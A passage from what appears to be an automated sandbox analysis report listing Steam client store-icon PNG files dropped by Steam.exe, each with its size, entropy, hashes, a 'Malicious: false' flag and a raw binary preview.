File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3294
Entropy (8bit):	7.891430277148017
Encrypted:	false
SSDEEP:
MD5:	C035ADEE151A3FBF3D6AA9243E0A6DCB
SHA1:	B9C55045D0A60DA9A6BF808B4E7F8588D6A0188B
SHA-256:	7C061F0600E71077EC8774B4028F31535B89B2225D51B892ED3A314E5A5E358C
SHA-512:	E44D998A0F2AE0A59CF695930B18FD1DC24C9F3A287473606F2161E3FB0D23E98733D5E554E69FF56D2BFFD6801FBFABC97B682A63CFE91652A1F83BA6140958
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_coop.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1477
Entropy (8bit):	7.024095155195409
Encrypted:	false
SSDEEP:
MD5:	A8558092788EC428ED95EBD2A90DA5D6
SHA1:	B97DFCCEC930A9E14471D305BBB708F7203AC589
SHA-256:	B7D84E4BD93DC090D1AFB093D44A473168939C0B07A5EC1C3CD34A28CD48FB19
SHA-512:	D447A59350BD83773AB0789CB5892774A63984BE1B4FF82C123B9E20AC3FFC7D84922C0997A958C497642B7406D4FC4064892A05945AF775ACB2B5E60935EECB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:226C8AFD616011E5B82DD1CF4D8935BC" xmpMM:DocumentID="xmp.did:226C8AFE616011E5B82DD1CF4D8935BC"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:226C8AFB616011E5B82DD1CF4D8935BC" stRef:documentID="xmp.did:226C8AFC616011E5B82DD1CF4D8935BC"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.X?....9IDATx..OD.Q..w+K,.......NQ6...):t..5":$:EtH..DDD.H.R..\S.UDJ.......[^....f......;3..\|.....D...B..H.Gh04.......

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_early_access.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3547
Entropy (8bit):	7.901325572621097
Encrypted:	false
SSDEEP:
MD5:	6B2599B655000DB10B404F4CD997AA5B
SHA1:	2DD0AFBEFBDEAEAC22110FE6EE4DDAE2E1DFFB88
SHA-256:	ECEDE9C1C18072CB11481778CED981F35CFEBE08BD94F4A26703991D88020B91
SHA-512:	6E076FA4268B7A6542FC2CC9EC7CD0439B4C54E991BC52043E5D5C09702B84123F3F3EC92F1EC38B5902D3BB0B7FC98C65886FEDD6538EE5BD67189A0B17E8C4
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_fullcontroller.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3414
Entropy (8bit):	7.891999962576998
Encrypted:	false
SSDEEP:
MD5:	AF728CC998245F2E0C4BD8B2959AE57C
SHA1:	5BE39EA19F16543116712AE6ED95923C63B8DA6E
SHA-256:	394E07F4593040F1C22308BC396A5948455D6D886C9CA33F794B8AE5A103166F
SHA-512:	0AE52EDEB5627F22F8511BED97CA9293C26796310CD33232C53F83C8D75D989173295467D6EA0E016E55FF52EAD89D5AB13C37444265DBE1ACF1BD61BEFB62B0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_fullcontroller_storefront.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3556
Entropy (8bit):	7.898640167949065
Encrypted:	false
SSDEEP:
MD5:	31327DDE8030DEE05F66A74B3B821D59
SHA1:	F32E320E0440AB051D3CE55DA49FB8C99CF07159
SHA-256:	5B4C72734D1887743472BD18A38594F1A4C21A0F5F90A5EB4E9687F60CBB0D7F
SHA-512:	04054B3CD6562AF8A9ACFBCC2A5F9F4C134DE20CBE7880062F388D5CA80968ACF0487F94E17C5A0A7C1CCF67364945CEB4BF3C7D134EC93A9954DAEE7E984B70
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...2...2......?......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_in_library.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1460
Entropy (8bit):	6.7984337964889185
Encrypted:	false
SSDEEP:
MD5:	C3695A9BE1869E5A32FCB4D45BEC0FDF
SHA1:	FFAABB0172239289F98AEB18E29975A2DD43B2D9
SHA-256:	D278C46DF9145E874B325966F55DB1E10B1DA44CFD474159A67A575A2891A950
SHA-512:	6269EB47C9C260A4014E44AED3C8F60635E2BC40961608965EC42318E9DCB85388B15812008284B4509E2AAC67BA94A2BF39D70DBDB99485F03942CF97D6F144
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....tEXtSoftware.Adobe ImageReadyq.e<...fiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:E7B9097B247FE511BF08B17A82CBF95F" xmpMM:DocumentID="xmp.did:84820C5381DA11E58BF6A1CBBF182DD3" xmpMM:InstanceID="xmp.iid:84820C5281DA11E58BF6A1CBBF182DD3" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E7B9097B247FE511BF08B17A82CBF95F" stRef:documentID="xmp.did:E7B9097B247FE511BF08B17A82CBF95F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.s.....IDATx..N.0...PZ.....*.....}.....@..'`CbBb

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_keyboard.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3473
Entropy (8bit):	7.894920702204806
Encrypted:	false
SSDEEP:
MD5:	6FE138C7027B939A68EB93E24AF17EE6
SHA1:	EE2481CAD11AA90CC56BB4641A18ACFFF9B1BBB6
SHA-256:	C17C9DF3E5573F8D490722FA40FF4F28A5F3864B842083D6E546768134993A53
SHA-512:	85E7FA8A3AA667F450C2103ADF643A0EE8457CF51C5EDE52282115C1CF1B5AED60B6E760CA3C8365C64E2C10537A77D16B2849A4E7366C12BF7C0885DA7EAC75
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_keyboard_60px.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6311
Entropy (8bit):	7.940892660763467
Encrypted:	false
SSDEEP:
MD5:	392F752DF15091F74937DFE7339188FA
SHA1:	9B3DF832370BF9A26F60245A24F0566F78E90293
SHA-256:	3B6A05F7520374FC799E907BFE670579B113AE1BA0D70362D15E6811D1872C69
SHA-512:	582AE9C6B18372CDCDF49801D78C6E5F5EEAD4AED1AB239A87425E74313F6E10571A7675CB6D6BA225B93D2D8EF997694F1839048C60DA9691DB6925A597A692
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...<...<.....:..r....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_keyboard_storefront.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3501
Entropy (8bit):	7.900439152904501
Encrypted:	false
SSDEEP:
MD5:	D68BE2E51D0D574E6B5DCC6564182775
SHA1:	DFE35AF078F32A2C50FD727773E4F69C121FCF66
SHA-256:	15D5A5EB223985FB4160427A2D76A9690453261188F28D41EBF90A061D45483D
SHA-512:	1A0886CC763990B7BB633E6E64B0E428E451AAFB059B743F7BBE73000CB1839C4FCB5D4BCE0FCA0DBF7C01C3BFE8020E55A581A8BFC455C97EE76673FEA2A872
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...2...2......?......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_legacycontroller.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3557
Entropy (8bit):	7.901824663340345
Encrypted:	false
SSDEEP:
MD5:	2416A83168E80FC3F44902B6480941E2
SHA1:	18AA03B4B59BE472BB3BC3211C8D30FE715846F1
SHA-256:	BF9D3689BEC0774BD80FBF6ED1B9303F8445449CF97011D25C694216AD8277C3
SHA-512:	07504EC91A1786D1A7419BB7080B1612F9104A83359A142D4CCCA6DA23E487D58830378138AB7DD872C28EF8041E823EA030B2D71F28C12FF887D0A02AD67F81
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_legacycontroller_storefront.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3853
Entropy (8bit):	7.912439074879788
Encrypted:	false
SSDEEP:
MD5:	E69C59E2DB13921A7C7167C2E3289340
SHA1:	5386E45AA908FC3962AB43C1E89EE86470595029
SHA-256:	58675C474800B7B6BE89ED6042AED87E425E9AF6674FB710F80FB038A1B28663
SHA-512:	E84BF531A6D3CE61C6292C102F506DAAFE82FAE9EDB6C433D5C206556BF7CEC7A1528C250879FF91E61F63D826F7071753F3572C50F37511B1FFF9EA1A5F590B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...2...2......?......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_library.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1025
Entropy (8bit):	6.191333612761987
Encrypted:	false
SSDEEP:
MD5:	73165CB0E9FF8B5F3FA601D9C61CBDCB
SHA1:	DEE903E2E5F0CD23190F9C62B8303C83014FD0EE
SHA-256:	132F24A0C4E89E88F404068893A8CE349FC8CCFA51C691F388A510F15BE516B9
SHA-512:	267FF2266E91F02F1DA4EC965B694110DEA227EB8A2715A41DF2218A4A64D2AB950EFF8B9AE1293A5DF1C6479557920637B7B0335485690CD33A6BA048D8F60C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:D900B89A5CC111E5A8D4E0BF7C806902" xmpMM:DocumentID="xmp.did:D900B89B5CC111E5A8D4E0BF7C806902"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D900B8985CC111E5A8D4E0BF7C806902" stRef:documentID="xmp.did:D900B8995CC111E5A8D4E0BF7C806902"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.UcG...uIDATx..... ......f....&.......$.Bf.".H.. ....w..W.4..K&Z..vRV....j..]..5.'0..[...`..^xpw.....<..#G.n.. ...

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_mac_storefront.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3360
Entropy (8bit):	7.89846486029256
Encrypted:	false
SSDEEP:
MD5:	A8B0C4771EFFCDAF6F7CB87B4928A057
SHA1:	6FA082DE2274B72A2CB20D935141A30813DBA8B9
SHA-256:	2D61895A38EDC885D7630A0DF2E81C510E622DF17D86AC39B4B53E487465DF9B
SHA-512:	50ECCFE906167CC6F6AF65326DD0D84AF79F951641E1A4A2BEDAC4C9405FB27731392472097F7345000B19768C1EC18C66E9CC4E609D6CF0887C0BB23BD0F694
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...2...2......?......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_multiplayer.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1571
Entropy (8bit):	7.171805290663528
Encrypted:	false
SSDEEP:
MD5:	03D50FD527B8F235C53A623D33C84750
SHA1:	B4561B33E1EEA144C83CCC4A5156555B1D2B5042
SHA-256:	2926CAA2078DE1F86102B0CCEB3585DE92118D2CA076B1E3BD803716CB25AFF4
SHA-512:	3B6340C274B613D5562456D508A02B35940DC01C47F35FD9DCF65088561DD7CB6F6380BCE34828764E5BD9E38EB50FC407CA8EC3EAA444549854439A7E09842E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(...(........m....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:6B95F3CC615F11E59F5EC123C86FE497" xmpMM:DocumentID="xmp.did:6B95F3CD615F11E59F5EC123C86FE497"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6B95F3CA615F11E59F5EC123C86FE497" stRef:documentID="xmp.did:6B95F3CB615F11E59F5EC123C86FE497"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..4[....IDATx..X.g\A...UX..h.R.VX.%..z.)..z)%.k.k...........[!Q..K.D+....H.6...L?.......g..\|.}....o.R.4.U.q...

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\icon_notice.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3611
Entropy (8bit):	7.894670527532741
Encrypted:	false
SSDEEP:
MD5:	8407523BB5AB1AD0B4651565CFEE6129
SHA1:	A35944ED6ADF9EF9D67F595655D70AFC9406D3B9
SHA-256:	FD5D7681B3F2B89AE17B4235A52B11965E987DBBE81F67A822003F1CE01CEEF8
SHA-512:	F922664AE51530315945D85CAE7FFC60C5299A67D474E9169D7C6DFF096083873CC10EC743496E1BD3110CD37FAF6E102FC22C5871B12D349B56B5185D5E17AA
Malicious:	false
Reputation:	unknown
